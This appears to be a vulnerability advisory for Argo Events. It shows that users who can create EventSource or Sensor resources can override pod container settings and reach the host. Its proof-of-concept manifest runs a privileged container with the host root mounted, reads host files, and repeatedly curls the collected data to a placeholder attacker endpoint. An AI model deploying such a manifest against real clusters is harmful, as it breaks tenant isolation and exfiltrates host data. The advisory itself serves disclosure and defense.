Argo Events users can gain privileged access to the host system and cluster with EventSource and Sensor CR

Summary:

A user with permission to create/modify EventSource and Sensor custom resources can gain privileged access to the host system and cluster, even without having direct administrative privileges.

Details:

The EventSource and Sensor CRs allow the corresponding orchestrated pod to be customized with spec.template and spec.template.container (with type k8s.io/api/core/v1.Container), thus, any specification under container such as command, args, securityContext , volumeMount can be specified, and applied to the EventSource or Sensor pod due to the code logic below.

    if args.EventSource.Spec.Template != nil && args.EventSource.Spec.Template.Container != nil {
        if err := mergo.Merge(&eventSourceContainer, args.EventSource.Spec.Template.Container, mergo.WithOverride); err != nil {
            return nil, err
        }
    }

With these, A user would be able to gain privileged access to the cluster host, if he/she specified the EventSource/Sensor CR with some particular properties under template.

Here is an example that demonstrates the vulnerability.

apiVersion: argoproj.io/v1alpha1
kind: EventSource
metadata:
  name: poc-vulnerable-eventsource
spec:
  webhook:
    security-test:
      port: "12000"
      endpoint: "/webhook"
  template:
    container:
      image: ubuntu:latest
      command: ["/bin/bash"]
      args: [
        "-c",
        "apt-get update && apt-get install -y curl && while true; do
         rm -f /tmp/data;
         echo '=== containerd socket ===' > /tmp/data 2>&1;
         ls -la /host/run/containerd/containerd.sock >> /tmp/data 2>&1;
         echo '=== proof of host access ===' >> /tmp/data 2>&1;
         cat /host/etc/hostname >> /tmp/data 2>&1;
         curl -X POST --data-binary @/tmp/data http://<attacker-controlled-endpoint>:8000/;
         sleep 300;
         done"
      ]
      securityContext:
        privileged: true
        capabilities:
          add: ["SYS_ADMIN"]
      volumeMounts:
        - name: host-root
          mountPath: /host
    volumes:
      - name: host-root
        hostPath:
          path: /

Impact:

• Multi-tenant Clusters:

  • Tenant isolation broken
  • Non-admin users can gain host/cluster access
  • Access to other tenants' data

• Security Model Bypass:

  • RBAC restrictions circumvented
  • Pod Security Policies/Standards bypassed